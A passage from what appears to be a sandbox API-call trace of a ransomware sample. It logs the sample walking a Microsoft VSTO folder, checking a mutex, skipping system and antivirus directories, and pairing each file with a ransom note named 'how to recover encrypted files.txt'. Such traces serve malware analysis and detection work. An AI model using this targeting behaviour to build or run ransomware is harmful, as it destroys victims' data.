cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\") returned 0x3e [0056.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.361] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.361] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.361] GlobalUnlock (hMem=0x440004) returned 0 [0056.361] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.361] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.361] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.361] GlobalUnlock (hMem=0x440004) returned 0 [0056.361] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.361] GlobalUnlock (hMem=0x44000c) returned 0 [0056.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.361] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.361] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0056.361] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.361] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.361] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.361] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.361] GlobalUnlock (hMem=0x44000c) returned 0 [0056.362] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.362] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.362] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.362] GlobalUnlock (hMem=0x44000c) returned 0 [0056.362] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.362] GlobalUnlock (hMem=0x440004) returned 0 [0056.362] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.362] CharLowerBuffW (in: lpsz="VSTOInstallerUI.dll", cchLength=0x13 | out: lpsz="vstoinstallerui.dll") returned 0x13 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", cchWideChar=81, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", lpUsedDefaultChar=0x0) returned 81 [0056.363] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll", lpUsedDefaultChar=0x0) returned 4 [0056.363] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0056.363] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.363] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.363] GlobalUnlock (hMem=0x440004) returned 0 [0056.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.363] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.363] GlobalUnlock (hMem=0x440004) returned 0 [0056.363] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.363] GlobalUnlock (hMem=0x44000c) returned 0 [0056.363] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.363] CharLowerBuffW (in: lpsz="VSTOLoaderUI.dll", cchLength=0x10 | out: lpsz="vstoloaderui.dll") returned 0x10 [0056.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll", cchWideChar=78, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dllt", lpUsedDefaultChar=0x0) returned 78 [0056.364] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dllt", lpUsedDefaultChar=0x0) returned 4 [0056.364] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0056.364] GetLastError () returned 0x12 [0056.364] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.364] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.364] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.364] GlobalUnlock (hMem=0x44000c) returned 0 [0056.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.365] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.365] GlobalUnlock (hMem=0x44000c) returned 0 [0056.365] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.365] GlobalUnlock (hMem=0x440004) returned 0 [0056.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.365] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.365] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.366] GlobalUnlock (hMem=0x440004) returned 0 [0056.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.367] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.367] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.367] GlobalUnlock (hMem=0x440004) returned 0 [0056.367] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.367] GlobalUnlock (hMem=0x44000c) returned 0 [0056.367] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.367] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.367] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.367] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.367] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.367] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.367] GlobalUnlock (hMem=0x44000c) returned 0 [0056.367] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.367] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.367] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.367] GlobalUnlock (hMem=0x44000c) returned 0 [0056.367] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.367] GlobalUnlock (hMem=0x440004) returned 0 [0056.367] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.367] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0056.367] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.367] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.367] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.367] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.367] GlobalUnlock (hMem=0x440004) returned 0 [0056.367] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.367] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.368] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.368] GlobalUnlock (hMem=0x440004) returned 0 [0056.368] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.368] GlobalUnlock (hMem=0x44000c) returned 0 [0056.368] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.368] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0056.368] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.368] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.368] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.368] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.368] GlobalUnlock (hMem=0x44000c) returned 0 [0056.368] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.368] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.368] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.368] GlobalUnlock (hMem=0x44000c) returned 0 [0056.368] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.368] GlobalUnlock (hMem=0x440004) returned 0 [0056.368] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.368] 